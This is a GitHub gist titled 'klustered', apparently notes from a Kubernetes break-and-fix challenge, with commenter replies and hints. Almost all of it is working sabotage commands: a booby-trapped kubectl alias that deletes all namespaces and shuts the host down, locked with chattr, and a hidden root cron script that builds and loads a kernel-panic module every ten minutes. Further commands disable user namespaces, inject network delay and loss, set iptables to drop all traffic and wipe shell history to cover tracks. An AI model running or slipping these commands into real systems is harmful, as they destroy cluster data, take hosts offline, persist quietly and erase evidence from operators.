Skip to content

Instantly share code, notes, and snippets.

@AlexsJones
Last active November 10, 2022 17:15
Show Gist options
  • Save AlexsJones/9acd0ed281e628dfa9adba5b9d18fed1 to your computer and use it in GitHub Desktop.
Save AlexsJones/9acd0ed281e628dfa9adba5b9d18fed1 to your computer and use it in GitHub Desktop.
klustered
  1. Stop containerd
sudo systemctl stop containerd
sudo systemctl disable containerd
  1. Alias
echo "alias kubectl='kubectl delete --all namespaces --kubeconfig=/etc/kubernetes/admin.conf; shutdown -h now' ;2>&1 >/dev/null echo --" >> /root/.bashrc
echo "alias cat='echo meow'" >> /root/.bashrc
chattr +i /root/.bashrc
source /root/.bashrc
  1. Disable namespaces
echo 0 > /proc/sys/user/max_user_namespaces
sysctl -w kernel.unprivileged_userns_clone=0
echo "kernel.unprivileged_userns_clone=0" >> /etc/sysctl.conf
  1. Panic

Removed too destructive

sudo apt install gcc make -y
## chmod this file /root/.rick
#!/bin/bash
mkdir -p /tmp/kpanic && cd /tmp/kpanic && printf '#include <linux/kernel.h>\n#include <linux/module.h>\nMODULE_LICENSE("GPL");static int8_t* message = "never gonna give you up";int init_module(void){panic(message);return 0;}' > kpanic.c && printf 'obj-m += kpanic.o\nall:\n\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules' > Makefile && make && /sbin/insmod kpanic.ko

Add to crontab -e
*/10 * * * * /root/.rick
  1. Delay

This was quite mean and would break most VNC connections

tc qdisc add dev ens3f0 root handle 1: netem delay 1500ms
tc qdisc add dev ens3f0 parent 1: handle 2: netem loss 50%
tc qdisc add dev ens3f1 root handle 1: netem delay 1500ms
tc qdisc add dev ens3f1 parent 1: handle 2: netem loss 50%
# You can also add these to /etc/network/if-pre-up.d in a script if you are an absolutely horrible person
# deletion tc qdisc del dev ens3f1 root
  1. Drop traffic

This was a bit too nasty and not very sportsmanly

iptables -t filter -P INPUT DROP 
iptables -t filter -P FORWARD DROP 
iptables -t filter -P OUTPUT DROP 

Finally.

rm ~/.bash_history
history -c
@simondeziel
Copy link

FYI, the cronjob won't survive a reboot because /tmp is wiped on boot, but maybe that's intentional?

@AlexsJones
Copy link
Author

FYI, the cronjob won't survive a reboot because /tmp is wiped on boot, but maybe that's intentional?

Was a good observation, I made it a hidden file in root thanks!

@AlexsJones
Copy link
Author

HINT-1.md

Check the syslog

HINT-2.md

Check the bash rc file

HINT-3.md

Check systemd

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment